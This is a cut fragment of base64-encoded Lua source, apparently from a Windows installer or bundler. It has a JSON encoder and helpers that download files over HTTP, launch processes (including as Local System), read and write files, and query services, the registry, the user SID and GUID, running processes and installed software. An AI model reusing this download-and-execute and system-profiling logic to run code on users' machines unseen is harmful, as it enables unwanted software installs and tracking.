dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
PW4uLiIgICAgIgpsb2NhbCBsPW4uLnN0cmluZy5yZXAoIiAiLGUrMis0KQpsb2NhbCBjPSIlcyUi
Li5zdHJpbmcuZm9ybWF0KCIlZCIsZSkuLiJzOiAlcyIKbG9jYWwgZT17fQpmb3IgaCxuIGluIGlw
YWlycyhoKWRvCmxvY2FsIHQ9YSh0LGRbbl0saSxvLGwpCnRhYmxlLmluc2VydChlLHN0cmluZy5m
b3JtYXQoYyx1LHJbaF0sdCkpCmVuZApzPSJ7XG4iLi50YWJsZS5jb25jYXQoZSwiLFxuIikuLiJc
biIuLm4uLiJ9IgplbHNlCmxvY2FsIHI9e30KZm9yIGgsZSBpbiBpcGFpcnMoaClkbwpsb2NhbCBz
PWEodCxkW2VdLGksbyxuKQpsb2NhbCBlPWEodCx0b3N0cmluZyhlKSxpLG8sbikKdGFibGUuaW5z
ZXJ0KHIsc3RyaW5nLmZvcm1hdCgiJXM6JXMiLGUscykpCmVuZApzPSJ7Ii4udGFibGUuY29uY2F0
KHIsIiwiKS4uIn0iCmVuZAplbHNlCnM9IltdIgplbmQKaVtlXT1mYWxzZQpyZXR1cm4gcwplbmQK
ZW5kCmZ1bmN0aW9uIHQ6ZW5jb2RlKG8sZSkKaWYgdHlwZShzZWxmKX49J3RhYmxlJ29yIHNlbGYu
X19pbmRleH49dCB0aGVuCnQ6b25FbmNvZGVFcnJvcigiSlNPTjplbmNvZGUgbXVzdCBiZSBjYWxs
ZWQgaW4gbWV0aG9kIGZvcm1hdCIsZSkKZW5kCnJldHVybiBhKHNlbGYsbyx7fSxlLG5pbCkKZW5k
CmZ1bmN0aW9uIHQ6ZW5jb2RlX3ByZXR0eShvLGUpCmlmIHR5cGUoc2VsZil+PSd0YWJsZSdvciBz
ZWxmLl9faW5kZXh+PXQgdGhlbgp0Om9uRW5jb2RlRXJyb3IoIkpTT046ZW5jb2RlX3ByZXR0eSBt
dXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixlKQplbmQKcmV0dXJuIGEoc2VsZixvLHt9
LGUsIiIpCmVuZApmdW5jdGlvbiB0Ll9fdG9zdHJpbmcoKQpyZXR1cm4iSlNPTiBlbmNvZGUvZGVj
b2RlIHBhY2thZ2UiCmVuZAp0Ll9faW5kZXg9dApmdW5jdGlvbiB0Om5ldyhhKQpsb2NhbCBlPXt9
CmlmIGEgdGhlbgpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1hCmVuZAplbmQKcmV0dXJuIHNl
dG1ldGF0YWJsZShlLHQpCmVuZApyZXR1cm4gdDpuZXcoKQplbmQpCnBhY2thZ2UucHJlbG9hZFsn
Y29tbW9uJ109KGZ1bmN0aW9uKC4uLikKbG9jYWwgcz1yZXF1aXJlKCJzb2NrZXQuaHR0cCIpOwps
b2NhbCByPXJlcXVpcmUoImx0bjEyIik7CmxvY2FsIHQ9e307CmxvY2FsIGQ9e19faW5kZXg9dH07
CmxvY2FsIGg9dHJ1ZTsKbG9jYWwgbj0iIjsKbG9jYWwgZT1vcy50aW1lKCk7CmxvY2FsIGU9Jyc7
CmxvY2FsIGU9Jyc7CmxvY2FsIGU9Jyc7CmxvY2FsIGk9e307CmZ1bmN0aW9uIHQuc2hhbGxvd2Nv
cHkodCkKbG9jYWwgYT10eXBlKHQpCmxvY2FsIGUKaWYgYT09J3RhYmxlJ3RoZW4KZT17fQpmb3Ig
dCxhIGluIHBhaXJzKHQpZG8KZVt0XT1hCmVuZAplbHNlCmU9dAplbmQKcmV0dXJuIGUKZW5kCmZ1
bmN0aW9uIHQuc2V0cmVzdWx0cyhlKQppPXQuc2hhbGxvd2NvcHkoZSk7CmVuZApwcm9ncmVzc19m
aWx0ZXI9ZnVuY3Rpb24oZSkKbG9jYWwgdD0wOwpyZXR1cm4gZnVuY3Rpb24oZSkKaWYgZT09bmls
IHRoZW4gcmV0dXJuIG5pbCBlbmQKaWYgZT09IiJ0aGVuIHJldHVybiIiZW5kCnQ9dCsjZTsKcmV0
dXJuIGU7CmVuZAplbmQKZnVuY3Rpb24gdC51cmxlbmNvZGUoZSkKaWYoZSl0aGVuCmU9c3RyaW5n
LmdzdWIoZSwiXG4iLCJcclxuIikKZT1zdHJpbmcuZ3N1YihlLCIoW14ldyAlLSVfJS4lfl0pIiwK
ZnVuY3Rpb24oZSlyZXR1cm4gc3RyaW5nLmZvcm1hdCgiJSUlMDJYIixzdHJpbmcuYnl0ZShlKSll
bmQpCmU9c3RyaW5nLmdzdWIoZSwiICIsIisiKQplbmQKcmV0dXJuIGUKZW5kCmZ1bmN0aW9uIGdl
dGh0dHBzaXplKGUpCmxvY2FsIGEsdCxlPXMucmVxdWVzdHttZXRob2Q9IkhFQUQiLHVybD1lfQpp
ZiB0PT0yMDAgdGhlbgpyZXR1cm4gdG9udW1iZXIoZVsiY29udGVudC1sZW5ndGgiXSk7CmVuZApl
bmQKZnVuY3Rpb24gdC5nZXRieWh0dHAobyx0KQpsb2NhbCBlPWZhbHNlOwpsb2NhbCBpPSIiOwpp
ZiB0IHRoZW4KbG9jYWwgYT10IGFuZCBpby5vcGVuKHQsIndiIilvciBvcy50bXBuYW1lKCk7Cmxv
Y2FsIGE9ci5zaW5rLmZpbGUoYSBvciBpby5zdGRvdXQpOwppZiB0IHRoZW4KYT1yLnNpbmsuY2hh
aW4ocHJvZ3Jlc3NfZmlsdGVyKGdldGh0dHBzaXplKG8pKSxhKTsKZT10cnVlOwplbmQKbG9jYWwg
dD0KewpbIkV4cGlyZXMiXT0iVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQiLApbIkNhY2hl
LUNvbnRyb2wiXT0ibm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hl
Y2s9MCwgcHJlLWNoZWNrPTAiCn07CmxvY2FsIGEsdCxhLGE9cy5yZXF1ZXN0CnsKdXJsPW8sCmhl
YWRlcnM9dCwKc2luaz1hCn07CmlmIHR+PTIwMCB0aGVuCmU9ZmFsc2U7CmVuZAplbHNlCmU9dHJ1
ZTsKaT1zLnJlcXVlc3Qobyk7CmVuZApyZXR1cm4gZSxpOwplbmQKZnVuY3Rpb24gdC5zcGxpdChh
LGUsdCkKaWYgc3RyaW5nLmZpbmQoYSxlKT09bmlsIHRoZW4KcmV0dXJue2F9CmVuZAppZiB0PT1u
aWwgb3IgdDwxIHRoZW4KdD0wCmVuZApsb2NhbCBvPXt9CmxvY2FsIG49IiguLSkiLi5lLi4iKCki
CmxvY2FsIGU9MApsb2NhbCBpCmZvciBuLGEgaW4gc3RyaW5nLmdmaW5kKGEsbilkbwplPWUrMQpv
W2VdPW4KaT1hCmlmIGU9PXQgdGhlbiBicmVhayBlbmQKZW5kCmlmIGV+PXQgdGhlbgpvW2UrMV09
c3RyaW5nLnN1YihhLGkpCmVuZApyZXR1cm4gbwplbmQKZnVuY3Rpb24gdC5leGVjdXRlKGEsbyxl
KQppZiBvfj1uaWwgdGhlbgppZiBlPT1uaWwgdGhlbgplPWZhbHNlOwplbmQKaWYgQ3JlYXRlUHJv
Y2Vzc0FzVXNlcihhLGUpdGhlbgplbmQKZWxzZQp0LmRlYnVnKCJFeGVjdXRpbmcgYXMgTG9jYWwg
U3lzdGVtIik7CmlmIENyZWF0ZVByb2Nlc3MobmlsLGEsbmlsLG5pbCwwLHczMlsiQ1JFQVRFX05F
V19DT05TT0xFIl0sbmlsLG5pbCl0aGVuCmVsc2UKZW5kCmVuZAppZiBHZXRMYXN0RXJyb3IoKT4w
IHRoZW4KdC5kZWJ1ZygiRXhlY3V0ZSBVbnN1Y2Nlc3NmdWwiKTsKdC5kZWJ1ZygiTEFTVCBFUlJP
UjogIi4uR2V0TGFzdEVycm9yKCkpOwplbHNlCnQuZGVidWcoIkV4ZWN1dGUgc3VjY2Vzc2Z1bCIp
OwplbmQKcmV0dXJuIHRydWU7CmVuZApmdW5jdGlvbiB0LmZpbGVwYXJ0cyhlKQpyZXR1cm4gc3Ry
aW5nLm1hdGNoKGUsIiguLSkoW15cXF0tKFteJS5dKykpJCIpOwplbmQKZnVuY3Rpb24gdC5yZWFk
ZmlsZShvKQpsb2NhbCBhOwppZiBDcmVhdGVGaWxlfj1uaWwgdGhlbgpsb2NhbCBlPUNyZWF0ZUZp
bGUobyx3MzJbIkdFTkVSSUNfUkVBRCJdLHczMlsiRklMRV9TSEFSRV9SRUFEIl0sbmlsLHczMlsi
T1BFTl9FWElTVElORyJdLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09
LTEgb3IgZT09dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5m
b3JtYXQoIlJlYWRmaWxlOiAlcyBFcnJvcjogJXMgKCVzKSIsbyxHZXRMYXN0RXJyb3IoKSxlKSk7
CmVsc2UKbG9jYWwgdD1HZXRGaWxlU2l6ZUV4KGUpOwppZiB0PjAgdGhlbgpoLGE9UmVhZEZpbGUo
ZSx0KTsKZW5kCmVuZAppZiBlIHRoZW4gQ2xvc2VIYW5kbGUoZSk7ZW5kCmVsc2UKbG9jYWwgZT1p
by5vcGVuKG8sInJiIik7CmlmIGUgdGhlbgphPWU6cmVhZCgiKmEiKQplOmNsb3NlKCkKZW5kCmVu
ZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQud3JpdGVmaWxlKG8saSxlKQpsb2NhbCBhPTA7Cmlm
IENyZWF0ZUZpbGUgdGhlbgpsb2NhbCBlPWUgb3IgdzMyWyJDUkVBVEVfTkVXIl07CmxvY2FsIGU9
Q3JlYXRlRmlsZShvLHczMlsiR0VORVJJQ19XUklURSJdLHczMlsiRklMRV9TSEFSRV9XUklURSJd
LG5pbCxlLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09LTEgb3IgZT09
dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldy
aXRlZmlsZTogJXMgRXJyb3I6ICVzICglcykiLG8sR2V0TGFzdEVycm9yKCksZSkpOwplbHNlCmgs
YT1Xcml0ZUZpbGUoZSxpKTsKZW5kCmlmIGUgdGhlbiBDbG9zZUhhbmRsZShlKTtlbmQKZWxzZQps
b2NhbCBlPWlvLm9wZW4obywid2IiKQppZiBlIHRoZW4KZTp3cml0ZShpKQplOmNsb3NlKCkKYT0j
aTsKZW5kCmVuZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQucmFuZG9tKGUpCm1hdGgucmFuZG9t
c2VlZChvcy50aW1lKCkpOwpsb2NhbCB0PShlKWFuZCBlIG9yIDEKbG9jYWwgZT0iIjsKZm9yIHQ9
MSx0IGRvCmU9ZS4uc3RyaW5nLmNoYXIobWF0aC5yYW5kb20oOTcsMTIyKSk7CmVuZApyZXR1cm4g
ZTsKZW5kCmZ1bmN0aW9uIHQuZGVidWcoZSkKaWYgT3V0cHV0RGVidWdTdHJpbmcgdGhlbgpsb2Nh
bCB0PShDaGVja0FyZylhbmQgQ2hlY2tBcmcoIm9wdGlvbnMiKW9yIiI7CmlmIHQ6c3ViKDEsMSk9
PSIxInRoZW4KT3V0cHV0RGVidWdTdHJpbmcoc3RyaW5nLmZvcm1hdCgibHVhIGRiZzogJXNcbiIs
dG9zdHJpbmcoZSkpKTsKZW5kCmVsc2UKcHJpbnQoZSk7CmVuZAplbmQKZnVuY3Rpb24gdC50ZW1w
cGF0aCgpCmlmIEdldFRlbXBQYXRofj1uaWwgdGhlbgprLHY9R2V0VGVtcFBhdGgoKTsKcmV0dXJu
IHY7CmVuZApyZXR1cm4iIjsKZW5kCmZ1bmN0aW9uIHQucXVlcnlzZXJ2aWNlKGksYSkKbG9jYWwg
bz1PcGVuU0NNYW5hZ2VyKCk7CmxvY2FsIGU7CmlmIGE9PW5pbCB0aGVuIGE9NDtlbmQKaWYgbz4w
IHRoZW4KbG9jYWwgbz1PcGVuU2VydmljZShvLGkpOwppZiBvPjAgdGhlbgpsb2NhbCBkLGgscyxp
LG4scj1RdWVyeVNlcnZpY2VDb25maWcobyk7CmlmIG5vdCBkIHRoZW4KZT17aCxzLGksbixyfTsK
dC5kZWJ1ZygiUXVlcnlTZXJ2aWNlOiAiLi5lW2FdKTsKZW5kCkNsb3NlU2VydmljZUhhbmRsZShv
KTsKZW5kCmVuZAppZiB0eXBlKGUpPT0idGFibGUidGhlbgppZiBlW2FddGhlbgpyZXR1cm4gZVth
XTsKZW5kCmVuZApyZXR1cm4gbmlsOwplbmQKZnVuY3Rpb24gdC5jdXN0b21zKGEpCmxvY2FsIHM9
dHJ1ZTsKUFJPR1JBTV9GSUxFUz0oUmVnUXVlcnlWYWx1ZUV4KWFuZCBSZWdRdWVyeVZhbHVlRXgo
dzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSwiU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xc
Q3VycmVudFZlcnNpb24iLCJQcm9ncmFtRmlsZXNEaXIiKW9yIiI7CnNUbXBQYXRoPXQudGVtcHBh
dGgoKTsKbG9jYWwgZT1zdHJpbmcuZ3N1YihhLCJcXCIsIlxcXFwiKTsKbG9jYWwgbz0wOwp3aGls
ZSBzPT10cnVlIGFuZCBvPDUwIGRvCm89bysxOwppZiBzdHJpbmcuZmluZChhLCIkUFJPR1JBTUZJ
TEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9HUkFNRklMRVMiLCIlJXMiKTsKZT1zdHJp
bmcuZm9ybWF0KGUsUFJPR1JBTV9GSUxFUzpnc3ViKCJcXCIsIlxcXFwiKSk7CmVsc2VpZiBzdHJp
bmcuZmluZChhLCIkVEVNUEZJTEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRURU1QRklMRVMi
LCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsc1RtcFBhdGg6Z3N1YigiXFwiLCJcXFxcIikpOwpl
PWU6Z3N1YigiXFxcXFxcIiwiXFwiKTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRTSUQiKXRoZW4K
bG9jYWwgdD1HZXRDdXJyZW50VXNlclNpZCgpOwplPXN0cmluZy5nc3ViKGUsIiUkU0lEIiwiJSVz
Iik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFRJTUVMQVNU
Iil0aGVuCmlmIEdldFRpbWVMYXN0fj1uaWwgdGhlbgpsb2NhbCB0PUdldFRpbWVMYXN0KCk7CmU9
c3RyaW5nLmdzdWIoZSwiJSRUSU1FTEFTVCIsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSx0KTsK
ZW5kCmVsc2VpZiBzdHJpbmcuZmluZChhLCIkQ01EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNo
KGEsIkNNRCglZCspIik7CmlmIGF+PW5pbCB0aGVuCmxvY2FsIG49IiI7CmlmIHN0cmluZy5maW5k
KGEsIjoiKXRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIjoiKTsKaWYgYVsxXX49bmlsIHRoZW4KbG9j
YWwgZT10LnNwbGl0KGlbYVsxXV0sIiAiKTsKbG9jYWwgbyxpPXN0cmluZy5maW5kKGFbMl0sIisi
KTsKaWYgbyB0aGVuCmFbMl09c3RyaW5nLmdzdWIoYVsyXSwiKyIsIiIpOwppZiB0eXBlKGUpPT0i
dGFibGUidGhlbgpmb3Igbz10YWJsZS5nZXRuKGUpLDEsLTEgZG8KaWYgbzx0b251bWJlcihhWzJd
KXRoZW4KdGFibGUucmVtb3ZlKGUsbyk7CmVsc2UKaWYgc3RyaW5nLmZpbmQoZVtvXSwiPSIpdGhl
bgpsb2NhbCB0PXQuc3BsaXQoZVtvXSwiPSIpOwplW29dPXN0cmluZy5mb3JtYXQoJyVzPSIlcyIn
LHRbMV0sdFsyXSk7CmVuZAplbmQKZW5kCm49dGFibGUuY29uY2F0KGUsIiAiKTsKZW5kCmVsc2UK
bj1lW3RvbnVtYmVyKGFbMl0pXTsKZW5kCmVuZAplbHNlCm49KGlbdG9udW1iZXIoYSldKWFuZCBp
W3RvbnVtYmVyKGEpXW9yIGlbYV07CmVuZAphPXN0cmluZy5nc3ViKGEsIisiLCIlJSsiKTsKZT1z
dHJpbmcuZ3N1YihlLCIlJENNRCIuLmEsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSxuKTsKZW5k
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkU09VUkNFR1VJRCIpdGhlbgpsb2NhbCB0PUNoZWNrQXJn
KCJzb3VyY2UiKTsKZT1zdHJpbmcuZ3N1YihlLCIlJFNPVVJDRUdVSUQiLHQpOwplbHNlaWYgc3Ry
aW5nLmZpbmQoYSwiJFVTRVJHVUlEIil0aGVuCmxvY2FsIHQ9R2V0VXNlckd1aWQoKTsKc1VzZXJH
dWlkPXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDksMTIp
LHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKc1VzZXJHdWlkPXN0cmluZy51
cHBlcihzVXNlckd1aWQpOwplPXN0cmluZy5nc3ViKGUsIiUkVVNFUkdVSUQiLHNVc2VyR3VpZCk7
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkVkVSU0lPTiIpdGhlbgppZiBHZXRWZXJzaW9ufj1uaWwg
dGhlbgpsb2NhbCB0PXRvc3RyaW5nKEdldFZlcnNpb24oKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRW
RVJTSU9OIiwiJSVzIik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbmQKZWxzZWlmIHN0cmluZy5m
aW5kKGEsIiRPUFRJT05TIil0aGVuCmxvY2FsIG89KENoZWNrQXJnKWFuZCBDaGVja0FyZygib3B0
aW9ucyIpb3IiIjsKbG9jYWwgYT1zdHJpbmcubWF0Y2goYSwiT1BUSU9OUyglZCspIik7CmlmIGF+
PW5pbCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRWxlbWVudDogJXMiLGEpKTsKZT1zdHJp
bmcuZ3N1YihlLCIlJE9QVElPTlMiLi5hLCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsbzpzdWIo
YSxhKSk7CmVsc2UKZT1zdHJpbmcuZ3N1YihlLCIlJE9QVElPTlMiLCIlJXMiKTsKZT1zdHJpbmcu
Zm9ybWF0KGUsbyk7CmVuZAplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFBST0RVQ1QiKXRoZW4KbG9j
YWwgdD0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJvcHRpb25zIilvciIiOwpsb2NhbCB0PXN0cmlu
Zy5mb3JtYXQoIiVzIix0OnN1Yig4LDEwKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9EVUNUIix0
KTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRJczY0Qml0Iil0aGVuCmxvY2FsIGE9KElzNjRCaXQo
KT09dHJ1ZSlhbmQiNjQib3IiMzIiOwp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIklzNjRCaXQ6ICVz
IixhKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRJczY0Qml0IixhKTsKdC5kZWJ1ZyhlKTsKZWxzZWlm
IHN0cmluZy5maW5kKGEsIiRSQU5EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNoKGEsIlJBTkQo
LispIik7Cm1hdGgucmFuZG9tc2VlZChvcy50aW1lKCkpOwplPXRvc3RyaW5nKG1hdGgucmFuZG9t
KDEsMTAwKSk7CmlmIGF+PW5pbCB0aGVuCmlmIHN0cmluZy5maW5kKGEsIiwiKXRoZW4KbG9jYWwg
dD10LnNwbGl0KGEsIiwiKTsKaWYgdFsxXX49bmlsIHRoZW4KaWYgdG9udW1iZXIodFsxXSk+dG9u
dW1iZXIodFsyXSl0aGVuCnRbMV09MQplbmQKZT10b3N0cmluZyhtYXRoLnJhbmRvbSh0b251bWJl
cih0WzFdKSx0b251bWJlcih0WzJdKSkpOwplbmQKZW5kCmVuZAp0LmRlYnVnKHN0cmluZy5mb3Jt
YXQoIlJhbmRvbTogJXMiLGUpKTsKZWxzZQpzPWZhbHNlOwplbmQKYT1lOwplbmQKZT0odHJpbSlh
bmQgdHJpbShlKW9yIHQudHJpbShlKTsKcmV0dXJuIGU7CmVuZApmdW5jdGlvbiB0LmNvbW1hbmQo
ZSkKbG9jYWwgbz1mYWxzZTsKaWYgZVsidHh0Y21kIl09PSJJZiJ0aGVuCmxvY2FsIGE9dC5jdXN0
b21zKGVbInR4dFdoYXQiXSk7CmlmIGVbInR4dGRvIl09PSJGaWxlInRoZW4KZHdSZXN1bHQsdEZp
bGVJbmZvPUZpbmRGaXJzdEZpbGUoYSk7CmlmIGR3UmVzdWx0fj0wIHRoZW4KZVsicmVzdWx0Il09
KGVbInR4dFdoYXRJZiJdPT0iRXhpc3RzIilhbmQiMSJvciIwIjsKZWxzZQplWyJyZXN1bHQiXT0o
ZVsidHh0V2hhdElmIl09PSJOb3QgRXhpc3RzIilhbmQiMSJvciIwIjsKZW5kCmlmIGR3UmVzdWx0
PjAgdGhlbgpGaW5kQ2xvc2UoZHdSZXN1bHQpOwplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdp
c3RyeSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnk6ICVzIixhKSk7CmxvY2Fs
IG89dC5zcGxpdChhLCIsIik7CmlmIHczMltvWzFdXX49bmlsIHRoZW4KaWYgb1szXX49bmlsIHRo
ZW4KbG9jYWwgYT1SZWdRdWVyeVZhbHVlRXgodzMyW29bMV1dLG9bMl0sb1szXSk7CmE9KGF+PW5p
bClhbmQgdC5jdXN0b21zKGEpb3IgbmlsOwppZiBlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyJhbmQg
b1s1XX49bmlsIGFuZCBhfj1uaWwgdGhlbgppZiBhPT1vWzVddGhlbgplWyJyZXN1bHQiXT0iMSI7
CmVuZAplbHNlaWYgZVsidHh0V2hhdElmIl09PSJFeGlzdHMiYW5kIGF+PW5pbCB0aGVuCmVbInJl
c3VsdCJdPSIxIjsKZWxzZWlmIGVbInR4dFdoYXRJZiJdPT0iTm90IEV4aXN0cyJhbmQgYT09bmls
IHRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZW5kCmVsc2UKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0
KCJSZWdpc3RyeSBFcnJvciAlcyAlcyIsZVsidHh0V2hhdElmIl0sYSkpOwplbmQKZWxzZWlmIGVb
InR4dGRvIl09PSJDb21tYW5kInRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIiwiKTsKaWYgYVsyXX49
bmlsIHRoZW4KbG9jYWwgbz0oaVt0b251bWJlcihhWzFdKV0pYW5kIGlbdG9udW1iZXIoYVsxXSld
b3IgaVthWzFdXTsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJDb21tYW5kICMlczogJXMgJXMgJXMi
LGFbMV0sbyxlWyJ0eHRXaGF0SWYiXSxhWzJdKSk7CmlmIGVbInR4dFdoYXRJZiJdPT0iQ29udGFp
bnMidGhlbgppZiBzdHJpbmcuZmluZChzdHJpbmcudXBwZXIobyksc3RyaW5nLnVwcGVyKGFbMl0p
KXRoZW4KZVsicmVzdWx0Il09IjEiOwplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2UKaWYg
bz09YVsyXXRoZW4KZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iRXF1YWxzIilhbmQiMSJv
ciIwIjsKZWxzZQplWyJyZXN1bHQiXT0oZVsidHh0V2hhdElmIl09PSJOb3QgRXF1YWxzIilhbmQi
MSJvciIwIjsKZW5kCmVuZAplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2VpZiBlWyJ0eHRk
byJdPT0iVmFyaWFibGUidGhlbgpsb2NhbCBhPXQuc3BsaXQoYSwiLCIpOwplWyJyZXN1bHQiXT0i
MCI7CmlmIGFbMl1+PW5pbCB0aGVuCnNTRz0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJzb3VyY2Ui
KW9yIiI7CmlmIGFbMV09PSJVc2VyIEdVSUQidGhlbgpzU0c9R2V0VXNlckd1aWQoKTsKc1NHPXN0
cmluZy51cHBlcihzdHJpbmcuZm9ybWF0KCIlcy0lcy0lcy0lcy0lcyIsc1NHOnN1YigxLDgpLHNT
RzpzdWIoOSwxMiksc1NHOnN1YigxMywxNiksc1NHOnN1YigxNywyMCksc1NHOnN1YigyMSkpKTsK
ZWxzZWlmIGFbMV09PSJWZXJzaW9uInRoZW4KaWYgR2V0VmVyc2lvbn49bmlsIHRoZW4Kc1NHPXRv
c3RyaW5nKEdldFZlcnNpb24oKSk7CmVuZAplbHNlaWYgYVsxXT09IklzNjRCaXQidGhlbgppZiBJ
czY0Qml0fj1uaWwgdGhlbgpzU0c9dG9zdHJpbmcoSXM2NEJpdCgpKTsKZW5kCmVsc2VpZiBzdHJp
bmcuZmluZChhWzFdLCJPcHRpb25zIil0aGVuCnNTRz10LmN1c3RvbXMoIiQiLi5zdHJpbmcudXBw
ZXIoYVsxXSkpOwplbmQKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJWYXJpYWJsZSAlcyAoJXMpID0g
JXMiLGFbMV0sc1NHLGFbMl0pKTsKaWYgZVsidHh0V2hhdElmIl09PSJDb250YWlucyJ0aGVuCmlm
IHN0cmluZy5maW5kKHNTRyxhWzJdKXRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZWxzZQppZiBz
U0c9PWFbMl10aGVuCmVbInJlc3VsdCJdPShlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyIpYW5kIjEi
b3IiMCI7CmVsc2UKZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iTm90IEVxdWFscyIpYW5k
IjEib3IiMCI7CmVuZAplbmQKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUHJvY2VzcyJ0aGVuCmlm
IElzUHJvY2Vzc1J1bm5pbmcoYSxmYWxzZSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJy
ZXN1bHQiXT0iMCI7CmVuZAplbHNlaWYgZVsidHh0ZG8iXT09Ikluc3RhbGxlZCJ0aGVuCmxvY2Fs
IHQ9e307CnRbMV09IlNPRlRXQVJFXFxXb3c2NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxD
dXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsKdFsyXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2lu
ZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5zdGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZVsic3Rh
dHVzIl09IjAiOwpmb3Igbyx0IGluIHBhaXJzKHQpZG8KbG9jYWwgbz1SZWdFbnVtS2V5RXgodzMy
WyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSx0KTsKaWYgdHlwZShvKT09InRhYmxlInRoZW4KZm9yIGks
byBpbiBwYWlycyhvKWRvCmxvY2FsIGk9UmVnRW51bVZhbHVlKHczMlsiSEtFWV9MT0NBTF9NQUNI
SU5FIl0sdC4uIlxcIi4ubyk7CmlmIHR5cGUoaSk9PSJ0YWJsZSJ0aGVuCmZvciBuLGkgaW4gcGFp
